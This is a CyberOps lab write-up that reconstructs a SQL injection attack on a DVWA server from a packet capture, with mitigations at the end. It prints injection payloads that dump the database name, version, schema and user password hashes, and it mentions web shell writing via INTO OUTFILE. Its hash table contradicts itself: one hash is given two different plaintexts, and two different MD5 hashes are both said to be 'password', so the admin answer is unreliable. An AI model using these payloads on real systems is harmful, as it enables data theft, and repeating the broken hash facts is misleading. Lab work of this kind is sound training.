

CISCO CERTIFIED CYBEROPS ASSOCIATE (CBROPS 200-201)

Lab 17.2.6: Attacking a MySQL Database

Forensic PCAP Analysis of SQL Injection Exploitation, Hash Extraction & Cracking

COURSE MODULE	ATTACK TYPE	FORENSIC ARTIFACT	ATTACKER & TARGET
Module 17: Attacking What We Do	SQL Injection (CWE-89 / OWASP A03)	SQL_Lab.pcap (441s duration)	10.0.2.4 → 10.0.2.15 (DVWA)

Objectives

- **Part 1: Load and Inspect PCAP File** — Identify communicating endpoints, capture duration, and baseline HTTP traffic.
- **Part 2: Initial SQL Injection Discovery** — Analyze boolean tautology bypass testing (1=1) in HTTP GET streams.
- **Part 3: Database & User Enumeration** — Inspect UNION-based injection extracting current database schema and database execution user.
- **Part 4: Database Fingerprinting** — Identify the exact database version and underlying Linux OS release.
- **Part 5: Schema & Metadata Harvesting** — Dissect information schema queries enumerating tables and column definitions.
- **Part 6: Credential Extraction & Hash Cracking** — Extract user credential hashes and execute cryptographic hash reversal.
- **Mitigation & Remediation Architecture** — Detail parameterized queries, input validation, and least privilege hardening.

Background / Scenario

Structured Query Language (SQL) injection occurs when untrusted user input is directly concatenated into dynamic database queries without proper sanitization or parameterization. Attackers exploit this vulnerability to bypass authentication, manipulate backend database queries, exfiltrate sensitive data, tamper with database records, and execute administrative operating system commands.

In this lab, a forensic packet capture (SQL_Lab.pcap) capturing an 8-minute adversary attack against a vulnerable Damn Vulnerable Web Application (DVWA) instance is analyzed in Wireshark to reconstruct the attack progression from reconnaissance to full credential compromise.

Part 1: Open Wireshark and Load the PCAP File

PART 1.E — INCIDENT ENDPOINT IDENTIFICATION

What are the two IP addresses involved in this SQL injection attack based on the information displayed?

SOC FORENSIC IDENTIFICATION:

- **Attacker IP Address:** 10.0.2.4 (Kali Linux attack workstation initiating HTTP GET requests).
- **Victim Web / DB Server IP:** 10.0.2.15 (Apache/PHP web server hosting DVWA on port 80 backed by MySQL).

Capture Timeline: The total attack span is 441.2 seconds (~7.35 minutes), characterized by sequential HTTP GET parameter tampering.

Part 2: Initial SQL Injection Attack Probe (Line 13)

Following the TCP/HTTP stream on packet **Line 13** reveals the adversary's initial probe into the `vulnerabilities/sqli/?id=` parameter:

```
# Attacker HTTP Request (10.0.2.4):
GET /vulnerabilities/sqli/?id=1%27+or+%271%27%3D%271&Submit=Submit HTTP/1.1
Host: 10.0.2.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Cookie: security=low; PHPSESSID=3d0ebbb...

# Server Response (10.0.2.15):
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<pre>ID: 1<br />First name: admin<br />Surname: admin</pre>
<pre>ID: 2<br />First name: Gordon<br />Surname: Brown</pre>
<pre>ID: 3<br />First name: Hack<br />Surname: ME</pre>
<pre>ID: 4<br />First name: Pablo<br />Surname: Picasso</pre>
<pre>ID: 5<br />First name: Bob<br />Surname: Smith</pre>
```

Attack Logic Breakdown: The backend PHP query is constructed as: `SELECT first_name, last_name FROM users WHERE user_id = '$id';`. When the attacker inputs `1' OR '1'='1'`, the SQL engine executes: `SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';`. Because `'1'='1'` is a boolean tautology (always TRUE), the query ignores user ID boundaries and dumps the entire user table.

Part 3: SQL Injection Enumeration Continues (Line 19)

In packet **Line 19**, the adversary escalates by injecting a UNION SELECT operator to query database metadata:

```
# Attacker Injected Query:
GET /vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+database%28%29%2C+user%28%29%23&Submit=Submit HTTP/1.1
Decoded Payload: 1' or 1=1 union select database(), user()#
```

Findings Disclosed: The server executes the function calls and reveals:

- **Active Database Name:** `dvwa`
- **Database User Context:** `root@localhost` (The web application is dangerously executing database queries with full administrative `root` privileges!).

Part 4: Database Version Fingerprinting (Line 22)

PART 4.C — DATABASE VERSION IDENTIFICATION

What is the version?

SOC FORENSIC FINDING:

The attacker injected the query: `1' or 1=1 union select null, version()#`.

The HTTP response payload returned the database banner:

```
5.5.47-0ubuntu0.14.04.1
```

Threat Intelligence Context: This confirms the target is running **MySQL 5.5.47** on **Ubuntu 14.04.1 LTS (Trusty Tahr)**, allowing the attacker to search for OS and version-specific Local Privilege Escalation (LPE) exploits.

Part 5: Table and Schema Harvesting (Line 25)

In packet **Line 25**, the attacker queries `information_schema.tables` using:
`1' or 1=1 union select null, table_name from information_schema.tables#`.

PART 5.C — TARGETED COLUMN ENUMERATION ANALYSIS

What would the modified command of `(1' OR 1=1 UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users')` do for the attacker?

SOC TECHNICAL EXPLANATION:

This targeted query instructs MySQL to inspect its data dictionary catalog (`INFORMATION_SCHEMA.columns`) and filter specifically for the column definitions belonging to the table named `'users'`.

Tactical Value to Attacker: Rather than dumping thousands of system schema records, this returns the exact attribute schema of the authentication table — specifically revealing column names such as `user_id`, `first_name`, `last_name`, `user`, and `password`. With this exact schema blueprint, the attacker can craft precise queries to dump user credentials.

Part 6: Credential Extraction & Hash Cracking (Line 28)

In packet **Line 28**, the adversary concludes the attack by extracting user accounts and password hashes using:
`1' or 1=1 union select user, password from users#`.

PART 6.B — TARGET USER IDENTIFICATION

Which user has the password hash of `8d3533d75ae2c3966d7e0d4fcc69216b`?

EXTRACTED USER RECORD:

The user account associated with hash `8d3533d75ae2c3966d7e0d4fcc69216b` is `admin`.

USER ACCOUNT	EXTRACTED MD5 PASSWORD HASH	CRACKED PLAINTEXT PASSWORD	SECURITY ASSESSMENT
admin	8d3533d75ae2c3966d7e0d4fcc69216b	password	Critical — Default / Weakest Password
gordonb	e99a18c428cb38d5f260853678922e03	abc123	High — Common Dictionary Password
1337	0d107d09f5bbe40ade3de5ec94a61001	charley	High — Weak Name String
pablo	0d107d09f5bbe40ade3de5ec94a61001	letmein	High — Standard Dictionary Word
smithy	5f4dcc3b5aa765d61d8327deb882cf99	password	Critical — Default Weak Password

PART 6.C — PASSWORD HASH CRACKING RESULT

Using a website such as <https://crackstation.net/>, copy the password hash into the password hash cracker and get cracking. What is the plain-text password?

CRACKING OUTPUT:

The plain-text password for hash `8d3533d75ae2c3966d7e0d4fcc69216b` is `password`.

Cryptographic Vulnerability Note: The application utilized unsalted legacy MD5 hashing. Because MD5 is computationally trivial and lacks cryptographic salting, lookups against precomputed lookup tables (Rainbow Tables) reverse the hash instantly (<0.01 seconds).

Reflection & Defensive Engineering Questions

REFLECTION QUESTION 1 — STRUCTURAL RISKS OF SQL PLATFORMS

What is the risk of having platforms use the SQL language?

COMPREHENSIVE THREAT ANALYSIS:

SQL is an interpreted data manipulation language that natively mixes control instructions with data values in the same string stream. If application code concatenates user-supplied input directly into SQL commands:

- **Complete Data Confidentiality Breach:** Adversaries can dump the entire database, including PII, financial data, and credentials.
- **Data Integrity Destruction:** Attackers can execute `UPDATE` or `DROP TABLE` commands to tamper with records or destroy data.
- **Authentication Bypass:** Login mechanisms relying on SQL verification can be bypassed using tautologies (`' OR 1=1 --`).
- **Underlying Operating System Compromise:** In advanced configurations, SQL injection allows attackers to read OS files (`LOAD_FILE()`), write web shells to web directories (`INTO OUTFILE '/var/www/shell.php'`), or execute system shell commands (e.g., MSSQL `xp_cmdshell`).

REFLECTION QUESTION 2 — SQL INJECTION PREVENTION METHODS

Browse the internet and perform a search on "prevent SQL injection attacks". What are 2 methods or steps that can be taken to prevent SQL injection attacks?

DEFENSIVE ARCHITECTURE CONTROLS:

1. Primary Defense: Parameterized Queries (Prepared Statements):

Developers must use prepared statements with parameterized inputs (e.g., PHP PDO, Java PreparedStatement, Python psycopg2/SQLAlchemy). Parameterization forces the database engine to compile the SQL query structure first, treating user-supplied variables strictly as literal data rather than executable SQL syntax.

2. Secondary Defense: Input Validation & Principle of Least Privilege:

Input Validation: Implement strict positive allow-list validation (e.g., ensuring numeric IDs contain only digits `^[0-9]+$`).

Least Privilege: Configure the web application to connect using a dedicated, unprivileged database service account with permissions limited solely to required tables, revoking access to `root`, administrative stored procedures, and file read/write operations.

CyberOps Application Security Checklist

- **Prepared Statements** Replace all dynamic string concatenation with parameterized SQL across all database tiers.
- **Modern Password Hashing** Store credentials using salted, adaptive key-derivation functions (**Argon2id**, **bcrypt**, or **PBKDF2**) with high work factors.
- **WAF Inspection** Deploy a Web Application Firewall (ModSecurity / AWS WAF) with OWASP Core Rule Set (CRS) to inspect and block SQLi signatures.
- **Disable Verbose Errors** Suppress database-specific error messages in production web responses to prevent information leakage.